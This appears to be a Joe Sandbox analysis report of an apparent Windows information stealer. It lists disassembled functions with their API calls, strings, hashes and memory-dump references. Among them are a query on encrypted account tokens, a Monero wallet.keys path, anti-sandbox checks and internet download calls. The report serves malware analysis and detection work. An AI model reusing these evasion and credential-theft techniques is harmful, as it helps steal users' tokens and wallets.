String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: ce3033b621375c8c85ff25f3850c021d69a32ebff5015d3e1383bd9d7025bba7
Instruction ID: e013f7ba141521ffa22bb4baafbb35a215b2ea0f925825c8d3d15e7ed239fa39
Opcode Fuzzy Hash: ce3033b621375c8c85ff25f3850c021d69a32ebff5015d3e1383bd9d7025bba7
Instruction Fuzzy Hash: 20B13F71910118ABEF04FBA8DD96EEE7339EF54300F50415AF506A6191EF386A49CFB2

Function 00D74FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D74FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00D74FD1
InternetOpenA.WININET(00D90DDF,00000000,00000000,00000000,00000000), ref: 00D74FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D75011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D75041
InternetCloseHandle.WININET(?), ref: 00D750B9
InternetCloseHandle.WININET(?), ref: 00D750C6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: daf8b95d874bbc11579e7f2d2ce1b25bca06a1ee30cfddd12bf5e890da238012
Instruction ID: 84163372129ff64f750e5b9e20f521dae5a8edcb11223e67aecb2188bf1efb57
Opcode Fuzzy Hash: daf8b95d874bbc11579e7f2d2ce1b25bca06a1ee30cfddd12bf5e890da238012
Instruction Fuzzy Hash: 4031F8B4A0021CABDB20CF54DC85BDDB7B4EB48704F1081D9E609A7281DBB06EC59FA9

Function 00D883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D88426
wsprintfA.USER32 ref: 00D88459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D8847B
RegCloseKey.ADVAPI32(00000000), ref: 00D8848C
RegCloseKey.ADVAPI32(00000000), ref: 00D88499

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

RegQueryValueExA.KERNEL32(00000000,01B0EC30,00000000,000F003F,?,00000400), ref: 00D884EC
lstrlen.KERNEL32(?), ref: 00D88501
RegQueryValueExA.KERNEL32(00000000,01B0EB88,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00D90B34), ref: 00D88599
RegCloseKey.KERNEL32(00000000), ref: 00D88608
RegCloseKey.ADVAPI32(00000000), ref: 00D8861A

Strings

%s\%s, xrefs: 00D8844D

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 131c8a816fe82184418e106829b9feb60922f470b2ebaf685051cf57db85c8b0
Instruction ID: f4dcce5a908caba3cd8bd7150f42e80ecfb1a031164c08b6e494e52492a95369
Opcode Fuzzy Hash: 131c8a816fe82184418e106829b9feb60922f470b2ebaf685051cf57db85c8b0
Instruction Fuzzy Hash: 282107B190022CABDB24DB54DC85FE9B3B8FB48700F40C299A609A6140DF71AA85DFE4

Function 00D87690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D876A4
RtlAllocateHeap.NTDLL(00000000), ref: 00D876AB
RegOpenKeyExA.KERNEL32(80000002,01AFBD08,00000000,00020119,00000000), ref: 00D876DD
RegQueryValueExA.KERNEL32(00000000,01B0EB70,00000000,00000000,?,000000FF), ref: 00D876FE
RegCloseKey.ADVAPI32(00000000), ref: 00D87708

Strings

Windows 11, xrefs: 00D876BD

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 66dc88ec47b2ec0d3321dd9cfedaefc19402422a4435d1401aded90126e5efe6
Instruction ID: 12fac9fbdc383ee66c1dba1280e1f4e13d29832045f58c7a9b9c9b5833bff354
Opcode Fuzzy Hash: 66dc88ec47b2ec0d3321dd9cfedaefc19402422a4435d1401aded90126e5efe6
Instruction Fuzzy Hash: 1801FFB5A44208BBDB00EBE4DD89F69B7B8EB48701F204554FA0597291EA74D904DF61

Function 00D87720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87734
RtlAllocateHeap.NTDLL(00000000), ref: 00D8773B
RegOpenKeyExA.KERNEL32(80000002,01AFBD08,00000000,00020119,00D876B9), ref: 00D8775B
RegQueryValueExA.KERNEL32(00D876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00D8777A
RegCloseKey.ADVAPI32(00D876B9), ref: 00D87784

Strings

CurrentBuildNumber, xrefs: 00D87771

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 874d82abc8150a9cbf56e754ec36d0bc8d6fced3b3c9cae8e1e76aaab75d027a
Instruction ID: 7f99a0891f2317ae06b23da46150c5eaeae7e225f60b8fc5cae32e0c1b7e2e14
Opcode Fuzzy Hash: 874d82abc8150a9cbf56e754ec36d0bc8d6fced3b3c9cae8e1e76aaab75d027a
Instruction Fuzzy Hash: F70117B5A4030CBFDB00EBE4DC89FAEB7B8EB44701F104555FA05A7281DA759500DF61

Function 00D840B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D840D5
RegOpenKeyExA.KERNEL32(80000001,01B0DA68,00000000,00020119,?), ref: 00D840F4
RegQueryValueExA.ADVAPI32(?,01B0EEE8,00000000,00000000,00000000,000000FF), ref: 00D84118
RegCloseKey.ADVAPI32(?), ref: 00D84122
lstrcat.KERNEL32(?,00000000), ref: 00D84147
lstrcat.KERNEL32(?,01B0EFA8), ref: 00D8415B

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 1d65b0977e2c97a1905b665dfd3471351568e17892bac1fe766322a9d5cf3b11
Instruction ID: 6f406a93652fe4d06ddf0318ad31e0644d8eb6854c3fd81b1063be8bcce5ce68
Opcode Fuzzy Hash: 1d65b0977e2c97a1905b665dfd3471351568e17892bac1fe766322a9d5cf3b11
Instruction Fuzzy Hash: 9B4189B690010C6BDB14FBA4DC86FFE737DEB48300F408658B61956181EA755B888FB2

Function 00D869F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B017E8), ref: 00D898A1
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B016E0), ref: 00D898BA
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01500), ref: 00D898D2
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01578), ref: 00D898EA
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01590), ref: 00D89903
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B08A40), ref: 00D8991B
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01AF5510), ref: 00D89933
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01AF54F0), ref: 00D8994C
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B016F8), ref: 00D89964
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B015A8), ref: 00D8997C
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01740), ref: 00D89995
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01758), ref: 00D899AD
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01AF5570), ref: 00D899C5
Part of subcall function 00D89860: GetProcAddress.KERNEL32(77190000,01B01770), ref: 00D899DE

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D711D0: ExitProcess.KERNEL32 ref: 00D71211

Part of subcall function 00D71160: GetSystemInfo.KERNEL32(?), ref: 00D7116A
Part of subcall function 00D71160: ExitProcess.KERNEL32 ref: 00D7117E

Part of subcall function 00D71110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D7112B
Part of subcall function 00D71110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D71132
Part of subcall function 00D71110: ExitProcess.KERNEL32 ref: 00D71143

Part of subcall function 00D71220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D7123E
Part of subcall function 00D71220: __aulldiv.LIBCMT ref: 00D71258
Part of subcall function 00D71220: __aulldiv.LIBCMT ref: 00D71266
Part of subcall function 00D71220: ExitProcess.KERNEL32 ref: 00D71294

Part of subcall function 00D86770: GetUserDefaultLangID.KERNEL32 ref: 00D86774

Part of subcall function 00D71190: ExitProcess.KERNEL32 ref: 00D711C6

Part of subcall function 00D87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D711B7), ref: 00D87880
Part of subcall function 00D87850: RtlAllocateHeap.NTDLL(00000000), ref: 00D87887
Part of subcall function 00D87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D8789F

Part of subcall function 00D878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87910
Part of subcall function 00D878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D87917
Part of subcall function 00D878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D8792F

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01B089F0,?,00D9110C,?,00000000,?,00D91110,?,00000000,00D90AEF), ref: 00D86ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D86AE8
CloseHandle.KERNEL32(00000000), ref: 00D86AF9
Sleep.KERNEL32(00001770), ref: 00D86B04
CloseHandle.KERNEL32(?,00000000,?,01B089F0,?,00D9110C,?,00000000,?,00D91110,?,00000000,00D90AEF), ref: 00D86B1A
ExitProcess.KERNEL32 ref: 00D86B22

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 572471ca4ff40f4b2dc9d6738b179534be9464f708b9f5c0a81378719cd2ea90
Instruction ID: 98a6f0e171b248aca8215abbbe0c115634d1fab5da19ea496c960400bd96c010
Opcode Fuzzy Hash: 572471ca4ff40f4b2dc9d6738b179534be9464f708b9f5c0a81378719cd2ea90
Instruction Fuzzy Hash: AC312F71904219AAEB04FBF4DC56BEE7778EF04300F50461AF612A6192EF74A905DBB2

Function 00D799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D79A11
LocalAlloc.KERNEL32(00000040,?), ref: 00D79A31
ReadFile.KERNEL32(000000FF,?,00000000,00D7148F,00000000), ref: 00D79A5A
LocalFree.KERNEL32(00D7148F), ref: 00D79A90
CloseHandle.KERNEL32(000000FF), ref: 00D79A9A

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
